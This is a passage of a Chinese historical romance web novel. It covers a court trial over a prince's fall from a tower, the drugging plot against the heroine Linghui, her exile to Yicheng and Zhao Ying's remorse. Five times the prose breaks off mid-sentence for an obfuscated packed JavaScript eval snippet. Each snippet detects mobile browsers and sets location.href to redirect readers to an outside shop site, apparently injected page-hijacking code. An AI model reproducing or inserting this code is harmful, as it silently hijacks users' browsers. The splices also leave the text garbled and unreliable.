王愔亦是有脾气的人,哪怕平日再有君子风度,也不喜欢受此污辱。 迎着剑锋,他扶着灵徽站起,冷声道:“殿下当真不怕闹出人命?她是有爵位之人,殿下竟半点都不放在眼里?” 萧邡手中的剑顿了一下,心头有过一丝松动。然后他就看到了王愔身后的那个女郎,用那双漂亮地眼睛一瞬不瞬的看着自己。不同于刚才的惊慌,恐惧,无措和娇柔,那双眸子冷得厉害,充满了怨毒和挑衅,大有不死不休的劲头。 他心一横,抬起剑便往她的方向刺去。 王愔虽无预料,但他身手利落,转眼已将自己的佩剑抽出,抬手就要格挡。可就在这时,伴随着一声“小心”,一股大力撞了过来,和他一起向着侧方倒了下去。 而那个提剑冲过来的人,却没收住力,肥大的身躯撞向了窗边的栏杆。 “嘭!”一声巨响,人直直坠下了高楼。 …… 危楼高耸,毫无生机。 变故陡生,此事再难遮掩。当裴府的侍卫和府中宾客闻声而来时,见到的是一个坠楼而死的亲王,一个手持利刃的世家公子和一个衣衫不整的妙龄女君。 裴府今日邀请了满城权贵,太多人目睹了这场变故。虽不知发生了什么,但结果摆在这里,无数的猜测堆积起来,恐怕会比事实更让人想入非非。流言将如燎原之势,蔓延于建康城,或许还会蔓延在整个大魏。 如此突然,如此可怕,如此引人遐想。 …… 谢衍仓皇赶来时,见灵徽木然地坐在地上,她的侍女匆忙用大氅遮掩起她褴褛的衣衫,她的脸上伤痕斑驳,人仿佛被抽走了魂灵,怔怔然抱着自己。 他上前,还未出口安慰,便见她如受了炮烙,猛地瑟缩了一下,戒备地看向靠近自己的人。 谢衍叹息一声,想要问的话就停在口边,滚了半天也说不出来。 半晌,他才柔声道:“灵徽,无论发生了什么,我都会在你身边的,你不要怕……” 听完这句话,她将大氅拥得更紧了些,一行泪水终于蜿蜒而落:“七郎……” 谢衍的眼圈瞬间就红了,他不想听什么对不起,他只想她好好的。可是她就离开了他的视线一会儿,便出了这么大的事。 他不在意其他,只是愧疚,愧疚于自己的无能和无力。 他喜欢灵徽,喜欢的匆忙又唐突,但只有他知道,他根本不是见色起意,他深深迷恋着那个倔强又炽烈的灵魂。无论怎样神秘复杂,她都不会是一个被规训绑缚过的完美木偶,如他一般。 可是事情却在向着一个诡异的方向发展,她与自己为何总是差些缘分。 彭城王之死,裴府也不敢遮掩,也无力负责。所以当裴夫人被这消息震惊到几乎昏厥时,早有人快马入宫,将一切告知了皇帝萧祁。 皇帝来时,还带着刚出月子的皇后。 彭城王血肉模糊的尸体停在堂前,未敢惊扰皇帝。但萧祁还是上前,掀开了白布,最后看了眼这个算不得成器,却和自己总归血脉一体的弟弟。他的脸色阴沉如铁,久久不发一言。 “陛下,事关人命,需调查清楚,尽快了结。”萧祁身边的常侍上前,轻声提醒。 萧祁闭上眼睛,沉沉叹息,当白布重新遮住萧邡的身体时,众人才听皇帝道:“此事由朕亲审,事情调查清楚前,相关人等,一概不许离开。” 谢后上前,轻轻握住了皇帝冰凉的手,安抚地摩挲着,柔声道:“妾与陛下一起。” 她比谁都清楚,此事之棘手,不仅在于亲王骤然殒命,坠落高楼。这里牵扯到了琅琊王家,裴家,还有那个即将嫁入谢家的杨女。有些事情一旦处理不好,小则损伤朝廷颜面,大则动摇本就危如累卵的江山。 可是,目睹之人太多,便是想要轻拿轻放,也毫无可能了。 灵徽被传到御前时,虽然换了一身衣裳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232772|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是伤痕鲜明,人也像受了极大的打击,恍惚的厉害。 谢后欠她人情,本就偏向于她,见此不免心疼:“如何成了这般模样,可曾看了医士?” 灵徽摇了摇头,泪水簌簌然。她将今日之事缓缓道出,一字一句,都是女子的心酸和绝望。 “王将军是为了救臣女才误伤彭城王,还请陛下和皇后明鉴,所有罪责臣一力承担。”她说完,深深叩首,仿佛皇帝不允她便不再起身。 莫说皇后,就连萧祁听完都有些恻然。彭城王品性如何,他一直都知道,原想着无非纨绔荒唐,这在皇家也算不得什么要命的毛病。只要不生野心,将来放在封地,也酿不成大祸。可是他今日却将主意打到了一个有爵位的女君身上,这就太过放肆了些。 但人死债销,也无法指责了。 王愔见灵徽将一切都揽在自己身上,不由着急,人也失了平日的稳重自持:“与宜城君无关,是臣惹怒了彭城王,才引他拔刀相向,失足坠落。” 他是世家子,自小承训,不可失君子之度。其他事情不论,就此事而言,他绝不会让一个弱女子顶罪。否则失了颜面,比死还可怕。 萧祁看到地上跪着的两个人,正在思索如何处置,就听到身边有人冷哼了一声,却是豫章长公主萧季瑶。 她原本以为彭城王今日顺利得手,杨灵徽受了折辱,自此名声扫地,前途尽毁。却不想凭空杀出来个王愔,非但如此,萧邡竟然还死了! 看到此间两个人互相认罪的场面,她恨意更甚。就算是自己不喜欢的男子,到底也走到议亲这一步了,他不想着奉承自己,偏对自己厌恶的女子做出这种情深义重的样子,到底在恶心谁。 想到这里,她银牙暗咬,大有不死不休的架势。 “宜城君今日为何要到那一处高楼歇息?据我所知,那里并非裴府客房所在。侍婢说,是你自己非要去的,可真?”她朱唇微启,带着一丝笑容,话却说得刺骨。 灵徽抬头,眸光灼灼。 “那侍婢给我的酒里究竟有什么东西,才能让我饮了几杯便不省人事?她为何执意要扶我去休息?等我睡下她又去了哪儿?我的侍婢一开始就被人支走,她们又去了哪儿?彭城王为何知道我在高楼,又知我饮了西域曼陀罗?这些,还请长公主殿下教我。”灵徽一字一句,逼问出口。 说完,迎上了萧季瑶的目光,分毫不惧。 57. 五十七、审讯 “陛下,臣今日受辱,再无颜面苟活,但纵使死,也想要一个交代。”灵徽再次叩首,清瘦的脊背微微弓起,伶仃可怜到了极处。 谢后睨一眼长公主,对皇帝轻声道:“此事确实需要详查,毕竟涉及人命……” 萧祁点头,安抚地拍了拍皇后的手。 萧季瑶本不是个忍气吞声的性格,见此,冷声道:“宜城君好厉害的一张嘴,依你所言,这事竟不是个意外?那么彭城王的死,是不是也非意外?” 灵徽没有着急反驳,只对皇帝道:“臣有证人,亦有证物,若有僭越无礼之处,还望陛下恕罪。” 说罢,在众人的疑惑,长公主的怨毒和王愔的怔愣中,吩咐楚楚将证物一一摆出。 一只酒盏,一枚玉佩,一片帛书。 灵徽的声音不徐不疾,若不是脸上泪痕仍在,几乎以为她说得是别人的事。是由她抽丝剥茧,一一查出。 “这是臣饮过酒的酒盏,盏中仍有残酒,里面尚有西域曼陀罗痕迹,可请医士查验。” “此玉佩为彭城王之物,臣的侍婢从梅林中找到,若彭城王殿下未经过梅林,怎会将此物遗失在那里。长主方才问臣,为何执意要去往高楼,那臣也想问,为何那侍女非要将臣往梅林带。臣不肯去,那侍女甚至还对臣动粗,手臂瘀痕尚在,亦可检查。” “此帛书……”灵徽顿了顿,看向长公主,声音略提了提,“臣不知为何人所写,不过应与此事关系密切。方才长主亦质疑,为何王将军会出现在附近,想必这便是答案。” 内侍将东西取过,送到皇帝案前。只见上面一行簪花小楷,写道:“湖畔小径,静候九郎。”然而并无落款。 皇帝看了几眼,交给了皇后,然后两个人不约而同地看向了长公主。 长公主柳眉倒竖,含着怒气辩解道:“陛下,我从未写过这样的东西,更没有私约王将军见面。此女刻意污蔑陷害于我,其心可诛,当严惩。” “长公主殿下,在陛下面前不可失礼。”谢后曼声提醒,语气依旧温和,但说出的话却有些咄咄,“方才宜城君未说帛书出自何人之手,也未说内容是什么,你如何这般不打自招。” 他们积怨甚深,皇帝也知道,但这一次他知道皇后所言有理。 “帛书上的字,与季瑶的甚为相似。”皇帝眸色微冷,看着帛书,缓声道。 萧季瑶上前,想要将帛书拿在手中,却被皇帝身边的常侍阻拦:“长主准备做什么?” 她一向恣意跋扈,何曾受过这份委屈,见夺帛书不成,气血愈发上涌:“我与王九见面,何曾用过帛书。我不过是想看看,究竟何人敢假冒我的字迹。陛下,你怎能放任一个长公主,被如此欺辱!” “那长主私会王将军又以何种方式呢?”她将私会二字咬的重,一字一句,皆触到了萧祁的逆鳞。 “对啊,季瑶,朕已赐婚王氏和荀氏,你为何要私见于王愔?”萧祁声音愈沉,一向和煦的面容上,带着肃杀的冷意。 萧季瑶知道自己落入圈套,狠狠地等着灵徽,若非顾忌帝后在场,想来会将她活撕了。 灵徽看着她,轻轻叹了口气,语调悲凉:“臣女自来建康后,一直谨小慎微,并不曾得罪长公主。况且人人皆知,臣于殿下有救命之恩。却不知为什么,殿下会如此厌憎于臣女,不仅多次玷污臣女的声名,这一次,还用这般手段对付……” 说罢,她的眼泪落得更凶了,但是偏垂着头,不想让人看到她的脆弱和悲伤。 “这又从何说起啊!”谢后心疼不已,吩咐身边的女官崔氏去帮她拭泪,“若无证据,万不可污蔑长公主殿下,否则孤也要处罚你了。” “臣还有人证!”她仰头,在众人复杂的目光里,在暗流涌动却故作平静的水中,投下了一颗巨大的石块。 紧紧捆住手脚的侍女被星台带到御前时,嘴里发出呜呜地声音,一双恐惧又不甘的眼睛看着灵徽,又看向长公主,最后落到一身朱红色锦袍的皇帝身上。 “在陛下面前,你若如实说,尚有活命之机。若是欺君罔上,必有灭族之祸。”灵徽的声音柔柔的,并无凌厉地逼迫,更像是一种劝告。但长公主那边,却并无这样的耐心,她眼神如刀,寸寸凌迟着侍女的神经。 “彭城王的性命,你一个侍女,就算赔了九族也负担不起。何况长公主是什么人,她有拿人命当过人命吗?哪个侍女能在她手中好好活着。”那个抓她来的人曾这样说。或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253237|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说得不错,违逆长公主是死,顺从便能得活吗? 侍女心头漫上一层无望的悲伤,但却越发想要挣扎。 当口中的破布被取出,侍女的话便清晰传到了所有人耳中:“是长公主,是长公主命奴婢将掺了曼陀罗的酒哄宜城君喝下,找寻机会将她带到梅林后的客房中,将她交给彭城王。可是女君不愿去,奴只好现将她扶至楼上,又去通知了彭城王。” “胡言乱语!贱婢,你莫不是活腻了!”长公主再也坐不住,起身叱骂,将身边的几案拍得震天响。 “放肆!”天子雷霆之怒骤降,声音不大,但威仪无限,“长主御前失仪,将她带回府中禁足,无诏不得出。” 宿卫羽林本就守卫在外,听到此命令,不由分说便将人带走了,没有给她再多辩解的机会。 还有证人未说话,便这样结束了吗? 禁足,只是禁足而已…… 长公主敢猖狂至此,不就是因为皇帝永无底线的包庇吗?也是,皇帝并非先帝血脉,得国于乱世,若无奉正统之举,便有得位不正的指摘。长公主再跋扈,也是先帝唯一的血脉,皇帝不会苛待。 因为她还有用。 而自己,除了散在各处的阿父旧部,没有任何用处。受了侮辱又如何,没有人会为她做主。费心筹谋这么久,差点搭上自己的清白,在众目睽睽下名誉蒙污……又如何! 不过她既然这么做了,便不会后悔。 “宜城君能在那般混乱之时,安排好所有的证人和证物,当真厉害!”皇帝冷然,虽饶恕了长公主,但却并不打算饶恕她。 早料到了,不是么? 灵徽轻笑,并不欺瞒,坦诚以对:“臣浅知医理,早知酒有问题,所以选择将计就计。” “将人引至高楼也是将计就计?”萧祁挑眉,一瞬不瞬地看着眼前这个装若无辜的女子,他从不认为这是个心思单纯的人。 安插在她身边的人,第一次将她所为汇报到宫中时,他便笃定了这个想法。 “陛下,求生之举,哪里会想太多。罪行昭彰的人尚未细审,为何要逼迫一个受害之人完美无缺?” 说完,她俯身又拜,没有给对方看清楚她表情的机会。 58. 五十八、噩梦 灵徽在后山坐了很久很久。 不知何时,又开始落雪了。似点点杨花,如片片碎玉,随着寒意料峭的江风,在苍茫的山间盘旋飞舞。 这便是江南的雪,柔丽轻曼,唯美绮丽,氤氲如水墨丹青。 美则美矣,终是不如人意。她所念的,从来不是此间的温柔,哪怕风冷霜寒,雪满关山,她仍想回去,回到那个生她养她的旧土,而不是随着朝廷一起苟安在方寸之地。 江南再好,也不是家。式微式微,胡不归? 回到观中时,夜色沉沉,宫中的黄门想来已等了很久,跺着脚,伸出手,在火炉边取暖。 云阁急的都要哭了,一看到灵徽,忙将手炉递了上去,问:“女君去了哪里,怎么不说一声,快要把奴婢担心死了。” 灵徽的手有些僵,木木然接过,然后向内侍走过去。 “中贵人夤夜至此,有何要事?”她温和又沉静,全然不似那晚,口齿利落,脾气刚毅,直言犯上时都毫无惧色。 内侍弓着身子,叫了声“女君”,恭谨道:“殿下知道女君受了委屈,不过兹事体大,便是她也无法动摇陛下的决定。殿下命奴前来,是替她给女君带句话。殿下说,她欠女君一个人情,若有机会自当相报。谢家非忘恩之辈,只要女君愿意,谢家婚约仍作数。若女君另有选择,她也不强求。” 灵徽听闻此言,伏地叩首,对内侍道:“也烦请中贵人将我之言带给殿下。此去宜城路途千里,不知会不会有再见之日。不过时局动荡,宫闱深深,还请她务必擅自保重,照拂好小皇子。若是见到小国舅,烦请殿下代为宽慰,他一腔赤诚,是灵徽没有福气。” 内侍领命,临走时将一匹骏马牵到她面前:“殿下说,女君心有鸿鹄之志,当喜欢这个礼物。” 汗血宝马,日行千里,若洛城得复,朝夕便可回乡,怎会不喜欢呢? 她俯身再拜,这一次,眼角忽然起了泪痕。利用也好,交换也罢,总还是有人不那么冷漠残忍。 目送那内侍离开后,灵徽便带着云阁她们开始收拾行李。原以为区区半年时间,东西不会太多,可事实并非如此。 看到堆满半间屋子的包裹,灵徽皱了皱眉,对云阁道:“除了钱帛和贴身之物,其他的都不带了。路途遥远,过分招摇,难免招惹是非。” 星台对于宫中关于此事的处理,很有怨言,一面收拾东西一面吧嗒吧嗒掉泪,听灵徽这样说,带着哭腔道:“明明女君受了天大的委屈,凭什么将您遣回封地?连王将军也受了贬谪,而长公主却只是禁足。” “星台慎言!怎可质疑陛下,妄议圣旨!”云阁是谨慎的性子,听星台这样说,急忙捂住了她的嘴,不安地向窗外看了几眼。 灵徽却寡言,只说道:“建康如今流言四起,去宜城也没什么不好的。” 哪怕结果不如人意,至少也不算徒劳无功。王家最引以为豪的子弟背负了误杀亲王之罪,贬谪为合浦太守,交州千里之遥,地贫瘠而民彪悍,瘴气弥漫,前途未卜。长公主虽只是禁足,但彭城王身死,裴府亦受了牵连,暂时无法折腾。她因为流言,与谢家的婚事被搁浅,此去宜城,再难有牵连。 无非牺牲了名声罢了,这些于她,不过身外之物,她或许曾经在意过,但现在一点都不会放在心上。 “若是我们守在女君身边,不被人支开,那日便不会出事了。”星台还在哭,对于那天的失职,自责不已。 云阁听到这一句,也难受地低了头,手上的动作变得迟滞:“对啊,我们只要留一个人,便不会……” 说完,她用衣袖揾了揾泪,看了眼灵徽,又努力将悲伤藏起,换了个叹惋的语气:“若是使君在就好了……” 若是赵缨在,会如何呢? 想起雪中那个炽热的吻,灵徽的胸口泛起酸苦的悸动,他原来也是那样霸道无礼的人,原来他也有不听自己话的时候……他变了那么多,究竟有几分曾经的模样?她依恋的究竟是他,还是他带给自己的那种安心又稳定的感觉? 若是他在,自己便不会受欺负了吗?他会为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266450|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己,和长公主作对,为自己讨公道吗?或许会,可是她已经不需要了。 她自己的公道自己讨,就像这次,虽然伤敌一千,自损八百,可是她做到了,不是吗? 宜城也没什么不好,那是她的封地,里洛城比这里要近很多……天高地阔,自由自在,何必在这里勾心斗角。 “我给过他两个月的时间,可是时间到了,他却不在……我没有耐心等一个人太久……”她喃喃,像是解释,也像是只说给自己听。 她会放下这里的一切,开始新的生活。 …… 是夜,灵徽噩梦连连。 在梦里,萧邡蠕动着肥胖的身体,向她爬了过来。他的肢体已经残损,扭曲出一个诡异又可怕的姿势,缺损的半颗头颅处有殷红的血汩汩地往外冒,脸色青白交加,眼神怨毒幽怨:“杨氏,是你害死孤的,对不对?” 她想反驳,却怎么都开不了口,喉咙被一只手扼住,她拼命挣扎,终究无果。 不是她害死的吗? 被支走的侍卫,被引来的救星,提前留足的证据,提前做过手脚的栏杆…… 慕容桢,我又杀人了!如你所说,这件事有了开始,便不会有结束。当一个人对于鲜血变得麻木,对于生命变得漠视,他就会在杀戮这条路上一去不复返。我不要变成这样一头嗜血的怪兽,我只是迫不得已! 慕容桢,我该不该恨你! …… 从噩梦中惊醒时,天光仍暗,幽暗又寂静的黎明中,唯有满院的雪色偷来几分月的残影,折出几丝幽微的光。 额上的汗不停地往下落,仿佛不是数九寒天,而是身处烈日酷暑。 灵徽伸出手,那里好像还残存着粘腻的血,腥甜的味道直冲鼻端,是她厌恶的气息和感觉。 忍不住披衣起身,点燃了残存的灯烛,就着浴房的一些残水,一边又一边地清洗双手。可是哪怕洗到双手发皱,仍觉不够。 灵徽颓然地垂下手,望着自己落在水中的影子,落下一行泪来。 59. 五十九、封赏 第二日,晨曦微露时,几驾马车缓缓离开了清都观,下了雁回山,向着官道驶去。官道上残雪未融,一路蜿蜒向远方,远方雾霭蒙蒙,模糊了方向。 如来时一样,孤零零的几个人,再无其他。 “我们真的不用写信给赵将军吗?”星台嘟囔着,依依不舍地望着远去的城垣。高大的城楼慢慢缩成小小一点,最终什么也看到。 城楼处,亦有一人驻足远望,见马车杳杳而去,眸中浮出一丝怅惘。 “郎君为何不去送送女君?”庚寅见他站在那里好几个时辰,一动不动,像是要把自己站成一方石雕般。也只有见到马车的那一刻,才微微露出一丝笑意,然而也是转瞬即逝,很快就被浓厚的哀伤所取代。 庚寅以前从未在自家郎君眼中看到过这样的表情。他这一次,被伤得太深,恐怕要很久才能走出来。 那杨家女郎也真是的,出了这么大的事,郎君还没说什么,她倒好,一走了之,连一个招呼都不打。若不是宫中内侍传了一句话,两个人连一个告别的机会都没有。她这一走,那本就只是口头上的婚约肯定作废。郎君一片痴情,到底错付了。 谢衍从腰间拿出玉笛,横在唇边,悠悠乐声缓缓而起,却是一曲《折杨柳》。曲调忧伤婉转,袅袅向远方飘荡,不知那个人能否听到。 相去万余里,各在天一涯。道路阻且长,会面安可知? 一曲罢,他也像是放下了心事,缓缓对庚寅道:“她的性子,既然决定了离开,便是不想让任何人挽留,我又何苦勉强她。她一直想要摆脱与我的婚事,我岂能不知。有时想想,既然勉强无果,何必要苦苦执着,既伤害了她,也困住了我。” “鸿雁于飞,何必困在樊笼。”谢衍低低叹了一声,闭上眼,将满腔酸涩都压在了心底。过了这个冬天,他也要去南阳赴任。听说匈奴扔已磨刀霍霍,做好渡江而战的准备,南阳位置重要,他此去名为国相,其实便是监军。 本信誓旦旦,说好绝不入军营,却还是免不了要为国为家而战。 她说得对,谁不想过安定的日子,但若无人挺身而出,只怕江南终有一日会和江北一样,变成白骨遍野的人间炼狱。 若是有一日替她报了仇,她会不会待他有一丝不同…… …… 谢衍于立春之日离开建康,前往南阳。 那一日,正逢赵缨凯旋。他此次平叛十分利落,不但收复了所有沦陷的州郡,还劝降了流民将领冯籍。皇帝龙颜大悦,册封和赏赐还未及他返回建康,早早就等在路上。 可惜并未如他所愿,得封扬州刺史,而是在荆州刺史之职上,加封了征西将军,都督荆湘司梁四州诸军事。 “谁为扬州刺史?”他问前来封赏的常侍李雍。 李雍虽谨慎,但对赵缨却知无不言,低声在他耳边道:“应是谢渊,不过尚未降职。” 赵缨了然,命心腹纯钧将一张琴交给了李雍,道:“素闻中贵人雅好音乐,此次徐州平叛,偶然得此琴,听闻是钟夫人遗物。赵缨是粗人,不懂这些,还是交给中贵人才算物得其所。” 李雍一面说着不敢,一面将琴接到手中。 琴身古朴却极有光泽,桐木的纹理细腻紧致,琴弦如冰玉,轻轻一拨,声音铿然。果然是极品。 他不觉啧啧,自然是千恩万谢,也就投桃报李地说了更多。 赵缨听完,便知自己又被王裕老匹夫摆了一道。皇帝性子本就多疑,王裕将他要娶王家女之事传得人人皆知,难免不让皇帝疑心他们私下勾结,达成了什么默契。思来想去,还是后族更可靠些,所以有了这个决定。 他回荆州,王冀南下广州为刺史。如此,王家与他,两败俱伤。 皇帝利用自己将江东的军力尽数握到了手中,他忙碌一场,不过替人作嫁罢了。若说谋算深沉,谁能比得过这个看似温和的当今圣上呢。 但现下的处境,容不得他计较这些。他接下来唯一能做的,是收敛锋芒,忍耐蛰伏。 “玄鉴,为何立了大功,却又这般心事重重?”冯籍比赵缨年岁略长,本就交好,这次交手后更加敬佩对方才华谋略,于是结为莫逆之交。 算起来,此次叛乱,冯籍当为祸首。可是皇帝却因赏识冯籍才华,不仅饶恕了他叛乱之罪,还将他封为淮南太守,整编流民军,驻扎寿阳,护卫江南。 此次回建康,冯籍亦随之而来。 赵缨摇了摇头,并无打算将自己的忧虑放在这里说。何况他的忧思中,有多少是朝政军务,有多少是儿女之情,他也说不清楚。 朝政之事太过敏感,儿女私情却不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278359|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能为外人道,于是叹息一句:“君夫妻和美,如何能知相思之苦。” 冯籍自诩过来人,知他有个牵肠挂肚的女子,于是朗声笑道:“人都回了建康,待会儿面见完圣上,直接去找不就结了。不过也是奇怪,如你这般年岁,身边连个妾侍都没有。在徐州时,那么多美人,你也看都不看一眼。那女郎生得究竟什么模样,让你痴情至此,说实话,我还真想见见。” 赵缨听完他的话,这才有了一丝笑颜。 “会有机会的。”他说。 轻轻扬鞭,二人打马过了街巷,向着宫城而去。 太初殿内,皇帝龙颜大悦。他似乎已经忘记了,数月前此人曾给他带来过多大的麻烦。现在的他只为赵缨平叛功成,还为他带回一员虎将而兴奋。 “早听玄鉴说过,将军悍勇且足智多谋,今日一件,果然名不虚传。朕有你这样的良将相助,何愁社稷不固,江山不宁啊!”萧祁对眼前高大英武的男子十分欣赏,喜爱之情溢于言表。 但更深的意思,他没有说。 此番徐州之乱,王家受挫,但并不能动摇世家掣肘之根本。他太需要像冯籍这样的人与之抗衡。哪怕他们毫无根基,哪怕他们来路不明。 冯籍是个进退有度的人,口道惶恐,不愿领受皇帝赏赐的财帛之物,只说他身负罪责,愿以功来报答天子之恩。 萧祁愈发看重他,特赐宴宫中,只道不醉不归。 此次宫宴,觥筹交错,热闹非凡,但作为头功的赵缨却显得魂不守舍。肩上的伤口疼痛入骨,心口那里也闷痛不已,他不由地寻了个借口离席,茫然走在太液池边。 一轮明月高悬,清辉倒映在水中,随着水波荡漾,仿佛碎成了一池的星子。 他被这月色唤起了满怀的惆怅,勾起了心底的相思。 “你知道我为什么叫圆月吗?” “因为你生在望日①,对不对?” “阿兄好聪明啊,我阿父说,我出生的那一天,月亮特别圆,他亦希望我如天上的圆月一般,圆圆满满,人生没有任何遗憾……” 她的圆月,本该拥有圆满无缺的人生啊,到底是他无能,不值得她信任和依靠,所以她才选择独自面对一切,把愧疚和悔恨都留给他,独自承担。 ①望日:农历每月的十五日 60. 六十、悔意 一阵枯枝轻响,有脚步声缓缓趋近。 赵缨警觉,向后望去,只见树影婆娑处站着一个清瘦娇小的女子。那女子碰到他犀利地目光,瑟缩了一下,还是选择向前走了几步。 月色明亮,将来人的脸映照的清晰,原来是自己送给灵徽的那个医女。听说灵徽给她改了名字,唤作“楚楚”。这个名字倒也贴切,眼前之人微垂着眸子,看着确实温顺又羞涩。 “见过使君。”她俯身行礼。 “怎么没有陪女君一起去宜城?”赵缨开口,态度冷淡。 “奴以为,使君更关心的是,女君为何会突然回了宜城?”她说话声音也小小的,原以为是个怯懦的,却原来胆子比谁都大。这一点,倒和圆月有几分相似。 赵缨不由多看了她两眼,声音不冷不热道:“各种情由,我自然是知晓的。只是我派你在女君身边,是让你照顾她的身体,并不是为了其他人。” 这里的其他人,自然指的是皇后。 女君让她照顾皇后安胎,没想到皇子平安诞生,仍无意让她回去,只说照顾皇子亦重要万分。 “奴也想随女君去宜城,可是京中却有更重要的事情。女君所托,奴绝不会拒绝。”她缓缓道,并未因为赵缨的指责而惶恐。 “你想说什么?”宫人私见外臣是重罪,赵缨并不认为她是专门来闲聊的。 楚楚环顾四周后,又向前了一步,赵缨嗅到了她身上清苦的药香,微微皱了皱眉,一瞬间又想到了什么,眼中涌现出一抹悲伤。 “那日事发,奴不在女君身边,但是后来跟在皇后身边,也将事情听了个大概。”楚楚声音忽然哽咽,“女君受了好大的委屈,差点被彭城王侮辱,这些全是长公主一手促成。” “我知道……”赵缨低声道,手握成拳,方能抑制心中的愤恨。 “女君在事发前,曾找过我,问询过能让人昏迷或者致幻的药物。我给她一一说了,其中有一个便是西域曼陀罗。那日长公主所用的,正是西域曼陀罗。” “你的意思是?”赵缨感觉到了一丝不寻常。 “女君想必早就料到那日会发生什么,所以她不仅提前有了防备,还将所有证据都留的充足。正是这一点,才让陛下颇为不满,怀疑此事为女君设计,哪怕皇后多次进言,陛下还是将女君遣回了封地。不过,这想来也是女君之愿。”楚楚叹息。 “奴猜想,女君早就料到长公主会趁使君不在,对她下手,但她避无可避,只好提前做好了防范的准备。或者,更有可能是将计就计。女君在建康无依无靠,所能仰仗的唯有您一人,但使君却未给她足够的依仗和安全,所以她才会铤而走险,选择这样一条玉石俱焚的路。” 这个医女何止大胆,简直放肆。 赵缨隐有怒火,却无道理指责她对灵徽的一片忠心,只能忍着听她将话说完。 “使君与王家婚约一事,建康城谁人不知。传入女君耳中,她会如何想?”楚楚见他仍无动于衷,干脆将话挑明。她不是女君那样的名门贵女,守着满心的牵念,不肯表露分毫。喜欢便是喜欢,就该让对方知道。 赵缨却苦笑:“她就算知道,也不会在意的。”她私下的心机谋划,赵缨都知道,哪怕自己早就在她刻意编制的情网中泥足深陷,他仍不敢肯定灵徽对自己到底是利用多一些,还是依赖多一些。 她肯让自己对她好,便够了。 “若不在意,怎会拒绝谢家这般唾手可得的好姻缘?若只是为了报仇,嫁给谢郎君不是更简单吗?何苦折磨得自己缠绵病榻!”楚楚实在想不明白,这样英武出众的郎君,在儿女之事上,竟然能迟钝到这种地步。 楚楚只为灵徽,哪怕赵缨发怒,降罪于她,她也不在乎。 原来是这样!竟是这样!她的疏离,她的拒绝,她突然生得那场重病……原来都是因为他么? 身体中仿佛血脉逆行,他忽冷忽热,胸口满是酸涩的激荡。悔意和爱意,歉疚和悸动交织,原来她的爱从不是依赖,不是习惯,更不是利用。 原来她心中有他。 都是他不好。是他辜负了她。 他怎会娶王家的女儿,他的心中从来都只有她一个。那个惊艳了他一整个少年时光的女郎。 “女君待奴婢好,奴婢不愿她受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290230|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何委屈,所以今日冒死来见使君。若是有言语唐突之处,还请使君宽恕。可这世道纷乱,真心最是难得,还往您珍惜。”说罢,她匆匆行礼,然后转身离开。 月色将她的影子拉得很长很长,她仿佛穿梭在树林中的花妖精怪。或许便是吧,在最迷惘的时候,一个忽然出现的,帮他破除一切迷障的精怪。 赵缨感念她的一片赤诚。 …… 是夜,赵缨扔下侍从,打马去了雁回山。空夜寂寂,风中传来虎啸猿鸣,月亮压在山脊处,压得很低很低,散出惨然的光。 他就这样,独自行到了空无一人的观中。 门扉轻阖,无人应答,连一向勤快的郑叟也没有出来迎他。他燃起手中的火折子,慢慢向内走去。 